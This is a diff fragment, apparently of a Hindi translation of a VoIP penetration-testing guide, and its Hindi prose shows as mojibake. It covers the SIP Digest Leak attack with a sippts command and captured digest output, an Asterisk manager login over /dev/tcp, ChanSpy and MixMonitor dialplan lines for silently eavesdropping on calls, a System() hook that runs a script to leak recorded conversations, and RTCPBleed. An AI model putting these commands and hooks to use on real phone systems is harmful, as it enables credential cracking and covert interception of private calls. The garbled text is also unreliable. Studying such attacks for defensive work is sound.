рдлреЛрди рдПрдбрд╛рдкреНрдЯрд░ (VoIP рд╕реЗ рдПрдирд╛рд▓реЙрдЧ) рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпрд╣ рднреЗрджреНрдпрддрд╛ **рдбрд╛рдЗрдЬреЗрд╕реНрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд░рд┐рд╕рд╛рд╡** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬреЛ рдкрд╛рд╕рд╡рд░реНрдб рд╕реЗ рдЧрдгрдирд╛ рдХреА рдЬрд╛рддреА рд╣реИред рдПрдХ **рдСрдлрд▓рд╛рдЗрди рдкрд╛рд╕рд╡рд░реНрдб рд╣рдорд▓реЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ** рдФрд░ рдпрд╣ рдЪреБрдиреМрддреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрдзрд┐рдХрд╛рдВрд╢ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред +SIP Digest Leak рдПрдХ рднреЗрджреНрдпрддрд╛ рд╣реИ рдЬреЛ рдХрдИ SIP рдлреЛрди рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдФрд░ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ IP рдлреЛрди рдХреЗ рд╕рд╛рде-рд╕рд╛рде рдлреЛрди рдПрдбрд╛рдкреНрдЯрд░ (VoIP рд╕реЗ рдПрдирд╛рд▓реЙрдЧ) рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдпрд╣ рднреЗрджреНрдпрддрд╛ **рдбрд╛рдЗрдЬреЗрд╕реНрдЯ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓реАрдХ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬреЛ рдкрд╛рд╕рд╡рд░реНрдб рд╕реЗ рдЧрдгрдирд╛ рдХреА рдЬрд╛рддреА рд╣реИред рдПрдХ **рдСрдлрд▓рд╛рдЗрди рдкрд╛рд╕рд╡рд░реНрдб рд╣рдорд▓реЗ рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ** рдФрд░ рдпрд╣ рдЪреБрдиреМрддреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрдзрд┐рдХрд╛рдВрд╢ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдкреБрдирд░реНрдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред **[рднреЗрджреНрдпрддрд╛ рдкрд░рд┐рджреГрд╢реНрдп рдпрд╣рд╛рдБ рд╕реЗ**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf): 1. рдПрдХ IP рдлреЛрди (рд╢рд┐рдХрд╛рд░) рдХрд┐рд╕реА рднреА рдкреЛрд░реНрдЯ рдкрд░ рд╕реБрди рд░рд╣рд╛ рд╣реИ (рдЙрджрд╛рд╣рд░рдг: 5060), рдлреЛрди рдХреЙрд▓ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд░рд╣рд╛ рд╣реИ -2. рд╣рдорд▓рд╛рд╡рд░ IP рдлреЛрди рдХреЛ INVITE рднреЗрдЬрддрд╛ рд╣реИ +2. рд╣рдорд▓рд╛рд╡рд░ IP рдлреЛрди рдХреЛ рдПрдХ INVITE рднреЗрдЬрддрд╛ рд╣реИ 3. рд╢рд┐рдХрд╛рд░ рдлреЛрди рдмрдЬрдиреЗ рд▓рдЧрддрд╛ рд╣реИ рдФрд░ рдХреЛрдИ рдЙрдард╛рддрд╛ рд╣реИ рдФрд░ рдлреЛрди рд░рдЦ рджреЗрддрд╛ рд╣реИ (рдХреНрдпреЛрдВрдХрд┐ рджреВрд╕рд░реА рддрд░рдл рдХреЛрдИ рдлреЛрди рдХрд╛ рдЬрд╡рд╛рдм рдирд╣реАрдВ рджреЗрддрд╛) -4. рдЬрдм рдлреЛрди рд░рдЦ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ **рд╢рд┐рдХрд╛рд░ рдлреЛрди рд╣рдорд▓рд╛рд╡рд░ рдХреЛ BYE рднреЗрдЬрддрд╛ рд╣реИ** -5. **рд╣рдорд▓рд╛рд╡рд░ 407 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ** рдЬреЛ **рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдкреВрдЫрддрд╛ рд╣реИ** рдФрд░ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЪреБрдиреМрддреА рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ -6. **рд╢рд┐рдХрд╛рд░ рдлреЛрди рджреВрд╕рд░реА BYE рдореЗрдВ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЪреБрдиреМрддреА рдХрд╛ рдЙрддреНрддрд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ** -7. **рд╣рдорд▓рд╛рд╡рд░ рдлрд┐рд░ рдЕрдкрдиреА рд╕реНрдерд╛рдиреАрдп рдорд╢реАрди (рдпрд╛ рд╡рд┐рддрд░рд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдЖрджрд┐) рдкрд░ рдЪреБрдиреМрддреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкрд░ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рд╣рдорд▓рд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ** рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИ +4. рдЬрдм рдлреЛрди рд░рдЦ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ **рд╢рд┐рдХрд╛рд░ рдлреЛрди рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдПрдХ BYE рднреЗрдЬрддрд╛ рд╣реИ** +5. **рд╣рдорд▓рд╛рд╡рд░ рдПрдХ 407 рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ** рдЬреЛ **рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЗ рд▓рд┐рдП рдкреВрдЫрддрд╛ рд╣реИ** рдФрд░ рдПрдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЪреБрдиреМрддреА рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИ +6. **рд╢рд┐рдХрд╛рд░ рдлреЛрди рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдЪреБрдиреМрддреА рдХрд╛ рдЙрддреНрддрд░ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ** рдПрдХ рджреВрд╕рд░реЗ BYE рдореЗрдВ +7. **рд╣рдорд▓рд╛рд╡рд░ рддрдм рдЕрдкрдиреА рд╕реНрдерд╛рдиреАрдп рдорд╢реАрди (рдпрд╛ рд╡рд┐рддрд░рд┐рдд рдиреЗрдЯрд╡рд░реНрдХ рдЖрджрд┐) рдкрд░ рдЪреБрдиреМрддреА рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкрд░ рдПрдХ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рд╣рдорд▓рд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ** рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИ -- **SIPPTS рд░рд┐рд╕рд╛рд╡** [**sippts**](https://github.com/Pepelux/sippts)** рд╕реЗ:** SIPPTS рд░рд┐рд╕рд╛рд╡ SIP Digest Leak рднреЗрджреНрдпрддрд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИ рдЬреЛ рдХрдИ SIP рдлреЛрди рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддрд╛ рд╣реИред рдЖрдЙрдЯрдкреБрдЯ рдХреЛ SipCrack рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЗрд╕реЗ SIPPTS dcrack рдпрд╛ SipCrack рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмреНрд░реВрдЯрдлреЛрд░реНрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред +- **SIPPTS рд▓реАрдХ** [**sippts**](https://github.com/Pepelux/sippts)** рд╕реЗ:** SIPPTS рд▓реАрдХ SIP Digest Leak рднреЗрджреНрдпрддрд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИ рдЬреЛ рдХрдИ SIP рдлреЛрди рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИред рдЖрдЙрдЯрдкреБрдЯ рдХреЛ SipCrack рдкреНрд░рд╛рд░реВрдк рдореЗрдВ рд╕рд╣реЗрдЬрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЗрд╕реЗ SIPPTS dcrack рдпрд╛ SipCrack рдЯреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдмреНрд░реВрдЯрдлреЛрд░реНрд╕ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред ```bash sippts leak -i 10.10.0.10 @@ -474,7 +473,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100 ``` ### Click2Call -Click2Call рдПрдХ **рд╡реЗрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреЛ рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЬреЛ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рдЙрддреНрдкрд╛рдж рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦ рд╕рдХрддрд╛ рд╣реИ) рдХрд┐ рд╡рд╣ рдЕрдкрдирд╛ **рдЯреЗрд▓реАрдлреЛрди рдирдВрдмрд░** **рдкреНрд░рд╕реНрддреБрдд** рдХрд░реЗ рддрд╛рдХрд┐ рдЙрд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдлрд┐рд░ рдПрдХ рд╡рд╛рдгрд┐рдЬреНрдпрд┐рдХ рдХреЙрд▓ рдХреА рдЬрд╛рдПрдЧреА, рдФрд░ рдЬрдм рд╡рд╣ **рдлреЛрди рдЙрдард╛рддрд╛ рд╣реИ** рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ **рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдПрдЬреЗрдВрдЯ рд╕реЗ рдЬреЛрдбрд╝рд╛ рдЬрд╛рдПрдЧрд╛**ред +Click2Call рдПрдХ **рд╡реЗрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреЛ рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ (рдЬреЛ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдХрд┐рд╕реА рдЙрддреНрдкрд╛рдж рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦ рд╕рдХрддрд╛ рд╣реИ) рдХрд┐ рд╡рд╣ рдЕрдкрдирд╛ **рдЯреЗрд▓реАрдлреЛрди рдирдВрдмрд░** рдкреНрд░рджрд╛рди рдХрд░реЗ рддрд╛рдХрд┐ рдЙрд╕реЗ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдлрд┐рд░ рдПрдХ рд╡рд╛рдгрд┐рдЬреНрдпрд┐рдХ рдХреЙрд▓ рдХреА рдЬрд╛рдПрдЧреА, рдФрд░ рдЬрдм рд╡рд╣ **рдлреЛрди рдЙрдард╛рдПрдЧрд╛** рддреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ **рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдПрдЬреЗрдВрдЯ рд╕реЗ рдЬреЛрдбрд╝рд╛ рдЬрд╛рдПрдЧрд╛**ред рдЗрд╕рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рд╛рдорд╛рдиреНрдп Asterisk рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рд╣реИ: ```scss @@ -486,8 +485,8 @@ displayconnects = yes read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla write = system,call,agent,user,config,command,reporting,originate ``` -- рдкрд┐рдЫрд▓реЗ рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдореЗрдВ **ANY IP рдкрддрд╛ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ** (рдпрджрд┐ рдкрд╛рд╕рд╡рд░реНрдб рдЬреНрдЮрд╛рдд рд╣реИ)ред -- **рдПрдХ рдХреЙрд▓ рдЖрдпреЛрдЬрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП**, рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, **рдХреЛрдИ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИ** рдФрд░ **рдХреЗрд╡рд▓** **originate** рдореЗрдВ **рд▓рд┐рдЦрдиреЗ** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред +- рдкрд┐рдЫрд▓реЗ рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдореЗрдВ **рдХреЛрдИ рднреА IP рдкрддрд╛ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ** (рдпрджрд┐ рдкрд╛рд╕рд╡рд░реНрдб рдЬреНрдЮрд╛рдд рд╣реИ)ред +- **рдПрдХ рдХреЙрд▓ рдЖрдпреЛрдЬрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП**, рдЬреИрд╕рд╛ рдХрд┐ рдкрд╣рд▓реЗ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, **рдХреЛрдИ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдЖрд╡рд╢реНрдпрдХ рдирд╣реАрдВ рд╣реИ** рдФрд░ **рдХреЗрд╡рд▓** **рд▓рд┐рдЦрдиреЗ рдореЗрдВ** **рдЙрджреНрдЧрдо** рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдЗрди рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде, рдХреЛрдИ рднреА IP рдЬреЛ рдкрд╛рд╕рд╡рд░реНрдб рдЬрд╛рдирддрд╛ рд╣реИ, рдХрдиреЗрдХреНрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдмрд╣реБрдд рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдирд┐рдХрд╛рд▓ рд╕рдХрддрд╛ рд╣реИ, рдЬреИрд╕реЗ: ```bash @@ -500,7 +499,7 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr Asterisk рдореЗрдВ **`ChanSpy`** рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬреЛ **рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рд╕реНрддрд╛рд░(реЛрдВ)** (рдпрд╛ рд╕рднреА) рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╣реЛ рд░рд╣реА рдмрд╛рддрдЪреАрдд рдХреЛ рд╕реБрдирд╛ рдЬрд╛ рд╕рдХреЗред рдЗрд╕ рдХрдорд╛рдВрдб рдХреЛ рдПрдХ рд╡рд┐рд╕реНрддрд╛рд░ рдХреЛ рд╕реМрдВрдкрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред -рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, **`exten => 333,1,ChanSpy('all',qb)`** рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рдЖрдк **рд╡рд┐рд╕реНрддрд╛рд░ 333** рдкрд░ **рдХреЙрд▓** рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ **`all`** рд╡рд┐рд╕реНрддрд╛рд░реЛрдВ рдХреА **рдирд┐рдЧрд░рд╛рдиреА** рдХрд░реЗрдЧрд╛, **рдЬрдм рднреА рдПрдХ рдирдИ рдмрд╛рддрдЪреАрдд рд╢реБрд░реВ рд╣реЛрддреА рд╣реИ** (**`b`**) рддреЛ **рд╕реБрдирдирд╛ рд╢реБрд░реВ рдХрд░реЗрдЧрд╛** рд╢рд╛рдВрдд рдореЛрдб (**`q`**) рдореЗрдВ рдХреНрдпреЛрдВрдХрд┐ рд╣рдо рдЗрд╕рдореЗрдВ рд╣рд╕реНрддрдХреНрд╖реЗрдк рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗред рдЖрдк **`*`** рджрдмрд╛рдХрд░ рдпрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдЪрд┐рд╣реНрдирд┐рдд рдХрд░рдХреЗ рдПрдХ рдмрд╛рддрдЪреАрдд рд╕реЗ рджреВрд╕рд░реА рдмрд╛рддрдЪреАрдд рдореЗрдВ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред +рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, **`exten => 333,1,ChanSpy('all',qb)`** рдпрд╣ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдпрджрд┐ рдЖрдк **рд╡рд┐рд╕реНрддрд╛рд░ 333** рдкрд░ **рдХреЙрд▓** рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдпрд╣ **`all`** рд╡рд┐рд╕реНрддрд╛рд░реЛрдВ рдХреА **рдирд┐рдЧрд░рд╛рдиреА** рдХрд░реЗрдЧрд╛, **рдЬрдм рднреА рдПрдХ рдирдИ рдмрд╛рддрдЪреАрдд рд╢реБрд░реВ рд╣реЛрддреА рд╣реИ** (**`b`**) рддреЛ рдЪреБрдкреНрдкреА рдореЛрдб (**`q`**) рдореЗрдВ рд╕реБрдирдирд╛ рд╢реБрд░реВ рдХрд░реЗрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рд╣рдо рдЗрд╕рдореЗрдВ рд╣рд╕реНрддрдХреНрд╖реЗрдк рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗред рдЖрдк **`*`** рджрдмрд╛рдХрд░ рдпрд╛ рд╡рд┐рд╕реНрддрд╛рд░ рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдЪрд┐рд╣реНрдирд┐рдд рдХрд░рдХреЗ рдПрдХ рдмрд╛рддрдЪреАрдд рд╕реЗ рджреВрд╕рд░реА рдмрд╛рддрдЪреАрдд рдореЗрдВ рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдХреЗрд╡рд▓ рдПрдХ рд╡рд┐рд╕реНрддрд╛рд░ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **`ExtenSpy`** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рднреА рд╕рдВрднрд╡ рд╣реИред @@ -516,11 +515,11 @@ exten => _X.,2,MixMonitor(${NAME}) ```scss exten => h,1,System(/tmp/leak_conv.sh &) ``` -### RTCPBleed vulnerability +### RTCPBleed рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛ -**RTCPBleed** рдПрдХ рдкреНрд░рдореБрдЦ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛ рд╣реИ рдЬреЛ Asterisk-рдЖрдзрд╛рд░рд┐рдд VoIP рд╕рд░реНрд╡рд░реЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИ (2017 рдореЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд)ред рдпрд╣ рднреЗрджреНрдпрддрд╛ **RTP (Real Time Protocol) рдЯреНрд░реИрдлрд╝рд┐рдХ** рдХреЛ рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬреЛ VoIP рд╡рд╛рд░реНрддрд╛рд▓рд╛рдкреЛрдВ рдХреЛ рд▓реЗ рдЬрд╛рддреА рд╣реИ, **рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдХрд┐рд╕реА рднреА рд╡реНрдпрдХреНрддрд┐ рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдФрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдЗрд╕рд▓рд┐рдП рд╣реЛрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ RTP рдЯреНрд░реИрдлрд╝рд┐рдХ NAT (Network Address Translation) рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рддреЗ рд╕рдордп рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИред +**RTCPBleed** рдПрдХ рдкреНрд░рдореБрдЦ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛ рд╣реИ рдЬреЛ Asterisk-рдЖрдзрд╛рд░рд┐рдд VoIP рд╕рд░реНрд╡рд░реЛрдВ рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рддреА рд╣реИ (2017 рдореЗрдВ рдкреНрд░рдХрд╛рд╢рд┐рдд)ред рдпрд╣ рднреЗрджреНрдпрддрд╛ **RTP (Real Time Protocol) рдЯреНрд░реИрдлрд╝рд┐рдХ** рдХреЛ **рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдХрд┐рд╕реА рднреА рд╡реНрдпрдХреНрддрд┐ рджреНрд╡рд╛рд░рд╛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдФрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ** рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдЬреЛ VoIP рд╡рд╛рд░реНрддрд╛рд▓рд╛рдкреЛрдВ рдХреЛ рд▓реЗ рдЬрд╛рддреА рд╣реИред рдпрд╣ рдЗрд╕рд▓рд┐рдП рд╣реЛрддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ RTP рдЯреНрд░реИрдлрд╝рд┐рдХ NAT (Network Address Translation) рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдиреЗрд╡рд┐рдЧреЗрдЯ рдХрд░рддреЗ рд╕рдордп рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИред -RTP рдкреНрд░реЙрдХреНрд╕реА **RTC рд╕рд┐рд╕реНрдЯрдо** рдХреЛ рдкреНрд░рднрд╛рд╡рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓реА **NAT рд╕реАрдорд╛рдУрдВ** рдХреЛ рд╕рдВрдмреЛрдзрд┐рдд рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ RTP рд╕реНрдЯреНрд░реАрдо рдХреЛ рджреЛ рдпрд╛ рдЕрдзрд┐рдХ рдкрдХреНрд╖реЛрдВ рдХреЗ рдмреАрдЪ рдкреНрд░реЙрдХреНрд╕реА рдХрд░рдХреЗред рдЬрдм NAT рд▓рд╛рдЧреВ рд╣реЛрддрд╛ рд╣реИ, рддреЛ RTP рдкреНрд░реЙрдХреНрд╕реА рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЕрдХреНрд╕рд░ рд╕рд┐рдЧреНрдирд▓рд┐рдВрдЧ (рдЬреИрд╕реЗ SIP) рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд RTP IP рдФрд░ рдкреЛрд░реНрдЯ рдЬрд╛рдирдХрд╛рд░реА рдкрд░ рднрд░реЛрд╕рд╛ рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ред рдЗрд╕рд▓рд┐рдП, рдХрдИ RTP рдкреНрд░реЙрдХреНрд╕рд┐рдпреЛрдВ рдиреЗ рдПрдХ рддрдВрддреНрд░ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рд╣реИ рдЬрд╣рд╛рдБ рдРрд╕рд╛ **IP рдФрд░ рдкреЛрд░реНрдЯ рдЯреБрдкрд▓реЗрдЯ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕реАрдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ**ред рдпрд╣ рдЕрдХреНрд╕рд░ рдЖрдиреЗ рд╡рд╛рд▓реЗ RTP рдЯреНрд░реИрдлрд╝рд┐рдХ рдХрд╛ рдирд┐рд░реАрдХреНрд╖рдг рдХрд░рдХреЗ рдФрд░ рдХрд┐рд╕реА рднреА рдЖрдиреЗ рд╡рд╛рд▓реЗ RTP рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЗ рд▓рд┐рдП рд╕реНрд░реЛрдд IP рдФрд░ рдкреЛрд░реНрдЯ рдХреЛ рдЪрд┐рд╣реНрдирд┐рдд рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдПред рдЗрд╕ рддрдВрддреНрд░ рдХреЛ "рд╕реАрдЦрдиреЗ рдХреЗ рдореЛрдб" рдХрд╣рд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, **рдпрд╣ рдХрд┐рд╕реА рдкреНрд░рдХрд╛рд░ рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ**ред рдЗрд╕рд▓рд┐рдП **рд╣рдорд▓рд╛рд╡рд░** **RTP рдЯреНрд░реИрдлрд╝рд┐рдХ RTP рдкреНрд░реЙрдХреНрд╕реА рдХреЛ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ рдЙрд╕ рдкреНрд░реЙрдХреНрд╕реА рдХрд┐рдП рдЧрдП RTP рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬреЛ рдПрдХ рдЪрд▓ рд░рд╣реЗ RTP рд╕реНрдЯреНрд░реАрдо рдХреЗ рдХреЙрд▓рд░ рдпрд╛ рдХрд▓реА рдХреЗ рд▓рд┐рдП рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рд╣рдо рдЗрд╕ рднреЗрджреНрдпрддрд╛ рдХреЛ RTP Bleed рдХрд╣рддреЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рд╡реИрдз рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рднреЗрдЬреЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ RTP рдореАрдбрд┐рдпрд╛ рд╕реНрдЯреНрд░реАрдо 